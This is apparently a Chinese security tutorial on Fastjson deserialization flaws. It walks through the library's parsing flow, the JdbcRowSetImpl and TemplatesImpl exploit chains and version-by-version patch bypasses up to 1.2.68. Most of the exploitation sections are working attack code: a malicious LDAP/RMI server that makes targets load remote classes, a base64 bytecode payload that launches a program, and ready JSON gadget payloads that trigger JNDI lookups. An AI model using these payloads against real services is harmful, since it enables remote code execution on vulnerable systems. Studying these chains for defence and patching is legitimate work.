相关链接:
https://goodapple.top/archives/832
https://yyjccc.github.io/2024/04/27/fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/
前置知识
首先需要介绍一下fastjson的相关知识,fastjson主要通过将一个json格式的文件转为一个java的对象,或者将一个java对象转为一个json格式的对象,但是这里的转化是需要满足一定条件,不是所有的对象都可以直接转为json格式,其中转化的过程就是通过序列化和反序列化,当然这个就与原生的jdk版本没有太多关联,这个属于插件存在的漏洞
导入依赖
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.22</version> <!-- 请根据需要选择合适的版本 --> </dependency>
|
Fastjson的一般用法
在fastjson进行转换时,必须需要类有一个无参构造方法,最好是通过java bean的格式进行书写,因为如果不是满足java bean则在对json反序列化为对象时可能会出现赋值问题,如果是private或者protected的属性就无法直接进行赋值给反序列化的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class demo1 { public String name=null; protected int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } public class test { public static void main(String[] args) { demo1 aa=new demo1(); String text = JSON.toJSONString(aa); System.out.println(text); demo1 a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}", demo1.class); System.out.println(a.getAge()+" "+a.getName()); } }
|
如果反序列化没有指定为哪个类这里就会默认为一个JSONObjetct类
1 2 3 4 5
| public static void main(String[] args) { JSONObject a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}"); System.out.println(a.get("age")); }
|
这里还有一种方式来进行指定类的类型,通过在序列化时在toJSONString中添加一个SerializerFeature.WriteClassName属性来进行指定,这个是有fastjson版本限制
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) { demo1 aa = new demo1(); String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName); System.out.println(json); Object aa1 = JSON.parse(json); System.out.println(aa1.getClass().getName()); }
|
Fastjson调用流程简单分析
序列化
先是序列化,这里先思考一个问题,属性值是如何获取的属性值的
这里就分为有无getter,如果没有getter方法,它就无法直接获取private属性或者protected属性,如果为public属性它就会看是否赋初始值,如果没有就表示默认值
如果有通过就是通过getter方法来进行获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class demo1 { public String name="aaa"; private int age=10; public int getAge() { return 1000; } public void setAge(int age) { this.age = age; } public String getName() { return "zzz"; } public void setName(String name) { this.name = name; } public String echo() { return "echo"+this.age+" "+this.name; } }
|

这里也是体现了它以getter方法调用优先
反序列化
这里知道序列化的规则,反序列化也是一样
如果没有@type标识的情况下,它就默认为JSONObject,但是如果设置了@type属性又会如何进行实例化一个对象呢

它会先调用构造器,然后通过setter方法来进行对对象进行赋值操作
调试分析 反序列化
这里先调试parseObject方法

这里跟进去,嵌套了几个parse方法,最后到达DefaultJSONParser的parse方法

跟进到处理左括号这里,进入parseObject来看看它处理json格式字符串的方法,这里就以获取第一个属性为例子,这里它通过scanSymbol方法来获取两个引号之间的字段,其它的字段也是一样

这里跳一下,主要看解析完这个json字符串,它是如何来创建对象的

这里先是获取上述解析出来的信息,然后会进行一次类加载,看看clazz里面有哪些东西

下面就是通过判断是否该类为一个特殊的类,从默认加载器里面进行寻找,如果都没有才会直接进行类加载


最后就是反序列化,序列化里面创建了一份黑名单Thread类


最后在JavaBeanInfo的build方法里面反射获取setter和getter方法,这里通过特定的条件来进行寻找
1 2 3 4
| 方法名长度大于4且以set开头,且第四个字母要是大写 非静态方法 返回类型为void或当前类 参数个数为1个
|

反序列化漏洞形成
简单的反序列化
在上述的描述下如果在反序列化一个属性值时它会通过调用setter方法来对其进行赋值操作,如果创建一个恶意的set方法这里就可以使其在赋值时调用方法触发恶意代码
恶意的set方法,执行成功
1 2 3 4 5
| public void setAge(int age) throws Exception{ System.out.println("setter触发"); Runtime.getRuntime().exec("calc"); this.age = age; }
|

Fastjson<=1.2.24利用链
这里为什么要以1.2.24为分界,主要因为在Fastjson<=1.2.24的版本里面可以通过@type来进行指定对应的类进行加载
这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似主要通过fastjson来触发jndi
1 2 3
| parse(jsonStr) parseObject(jsonStr) parseObject(jsonStr,Object.class)
|
这里先看看它是如何联系jndi的,这里是由于JdbcRowSetImpl的connect方法里面调用了lookup方法,所以如果我们可以走到这里就可以成功触发

RMI+JNDI
利用的链子
1 2 3 4 5 6 7 8 9 10
| public class test { public static void main(String[] args) { demo1 aa = new demo1(); String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/luokuang\",\"autoCommit\":true}"); } }
|
恶意服务器
1 2 3 4 5 6 7 8 9
| public class server { public static void main(String[] args) throws Exception { LocateRegistry.createRegistry(1099); Reference reference = new Reference("test","test","http://127.0.0.1:9000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference); Naming.bind("rmi://127.0.0.1:1099/luokuang",refObjWrapper); System.out.println("Registry运行中......"); } }
|
LDAP+JNDI
ldap协议恶意服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| public class LDAP { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:9000/#test"}; int port = 9999;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
客户端
1 2 3 4 5 6 7 8
| public static void main(String[] args) { demo1 aa = new demo1(); String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}"); }
|
成功触发

调用流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| connect:627, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:10, Fastjson_Jdbc_LDAP
|
TemplatesImpl利用链
TemplatesImpl类在cc链里面就有用到,主要的利用方法就是通过它的defineClass方法来实现动态类加载,而想让它调用到defineClass方法就需要从getOutputProperties方法入手
静态的去看吧,在getOutputProperties方法里面调用了newTransformer方法
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
在newTransformer里面又调用了getTransletInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); }
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
|
getTransletInstance方法里面又继续调用了defineTransletClasses方法最后到达defineClass

下面来分析一下需要满足的条件首先在getTransletInstance方法里面需要满足 _name!=null,_class=null
下面在newTransformer里面的if判断里面需要保证_tfactory有值,像cc链里面一样
1 2 3
| if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); }
|
这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密
最后来构造payload
1 2 3 4 5
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); }
|

Fastjson高版本绕过
补丁分析
1.2.25-1.2.41补丁
这里主要看到创建对象时的代码逻辑进行了什么修改

和以前的进行对比一下,这里多加了一个checkAutoType方法这里不再是直接类加载了

单独看看checkAutoType方法里面是如何waf的
首先里面就是一个if,if里面的内容就是老版本的代码逻辑,if判断里面有两个属性,一个为autoTypeSupport默认为false,expectClass也是默认传入的为null,所以这里就有两个路走一个为autoTypeSupport为true或者false,autoTypeSupport代表白名单,我们可以手动设置为true
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|

但是如果直接手动改为true也没有办法加载到恶意类,这里可以跟进去看看,里面是否修改了什么

这里主要看TypeUtils的loadClass方法

这里首先去掉 [ ]再判断是否满足类名开头为L,结尾为; 满足就去掉首尾再继续类加载,对于去掉 [ ]是因为在进入for之前它会判断一次长度,即默认只有数组才可以走到这里

下一个for里面主要是过滤黑名单


1.2.42补丁
这里主要对上面进行了补充
1 2 3
| 黑名单改为了hash值,防止绕过;
对于传入的类名,删除开头L和结尾的;
|
还是看checkAutoType方法里面又添加了什么东西,前面还是没有什么变化

后面就开始添加一些规则,如果满足if条件就去掉第一个字符和最后一个字符,再继续进行下一步

下一步就是进行运算,这里应该就是通过运算来判断其是否为黑名单

1.2.43补丁
这里就在上面的版本里面又去除了前面两个字符为LL的情况
ParseConfig的checkAutoType方法里面除了前面两个字符为LL的情况
1 2 3 4 5 6 7
| if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
|
1.2.47补丁
在1.2.47的版本里面可以通过引入了一个mapping缓存,从而实现任意类加载,这个方法并不是1.2.47版本才有,是针对ParserConfig的checkAutoType方法都有,主要绕过通过将恶意类先写入mapping缓存中从而绕过异常的抛出

1.2.48补丁
并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类
由于上面进行分析,在开启AutoType和未开启是两个不同的代码逻辑,所以这里需要分别考虑
设置AutoType 默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
之后的payload 有些需要开启AutoType
漏洞利用
低于1.2.47版本的补丁通杀绕过
1 2
| 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发; 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
|
这里通过JdbcRowSetImpl+ldap来进行举例,其它也是差不多
1 2 3 4 5 6 7 8 9 10
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); " \"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\n" + " \"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"DataSourceName\":\"ldap://127.0.0.1:9999/test\",\n" + " \"AutoCommit\":false\n" + " }\n" + "}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
这里的绕过方法是通过先通过白名单java.lang.Class,这里会获取到MiscCodec类,再调用deserialze方法,里面会对一个参数val的赋值操作,最后再通再TypeUtils.loadClass来进行类加载
调用的流程分析
这里先走到DefaultJSONParser的parseObject方法,到方法的最后面调用了deserialize方法,这里的deserializer属性为MiscCodec类,所以下一步就会进入到MiscCodec的deserialze方法进行分析

这里先判断键是否为val,然后就赋值给odjVal属性


最后odjVal属性赋值给strVal

最后走到TypeUtils.loadClass来进行类加载strVal属性

1.2.25-1.2.41补丁绕过
这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个L和;绕过
1 2 3 4 5 6 7 8 9 10
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa= "{"+ "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " + "\"autoCommit\":true" +"}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
1.2.42补丁绕过
这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个LL和;;绕过
1 2 3 4 5 6 7 8 9 10
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa= "{"+ "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " + "\"autoCommit\":true" +"}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
1.2.43补丁绕过
可以通过[{绕过,Payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| { "@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true } public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa= "{"+ "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " + "\"autoCommit\":true" +"}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
1.2.45补丁绕过
1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
1 2 3 4 5
| <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.6</version> </dependency>
|
payload
1 2 3 4 5 6 7 8 9 10 11
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa="{\n" + " \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" + " \"properties\":{\n" + " \"data_source\":\"ldap://127.0.0.1:9999/test\"\n" + " }\n" + "}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
1.2.62-1.2.68版本
1.2.62
1 2 3
| 需要开启AutoType; JNDI注入利用所受的JDK版本限制; 目标服务端需要存在xbean-reflect包
|
所需要的依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18</version> </dependency>
|
poc
1 2 3 4 5 6
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
这里主要看JndiConverter如何触发jndi
在JndiConverter的toObjectImpl方法里面有lookup,接下来就是看哪里调用了这个方法

在它的父类AbstractConverter的setAsText方法里面的toObject方法里面调用了


所以只需要上传AsText属性就可以调用该方法,所以最后的payload就可以有了
1 2 3 4 5 6
| public static void main(String[] args) { ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true); String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}"; JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField); }
|
1.2.66
1 2 3 4
| 开启AutoType; JNDI注入利用所受的JDK版本限制; org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖; org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖
|
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类Poc:
1
| {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
|
org.apache.shiro.jndi.JndiObjectFactory类Poc:
1
| {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
|
其他一些绕过黑名单的Gadget
这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制
1.2.59
com.zaxxer.hikari.HikariConfig类Poc
1
| {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类Poc:
1
| {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
|
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类Poc
1
| {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
|
1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类Poc
1
| {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
com.caucho.config.types.ResourceRef类Poc
1
| {"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}
|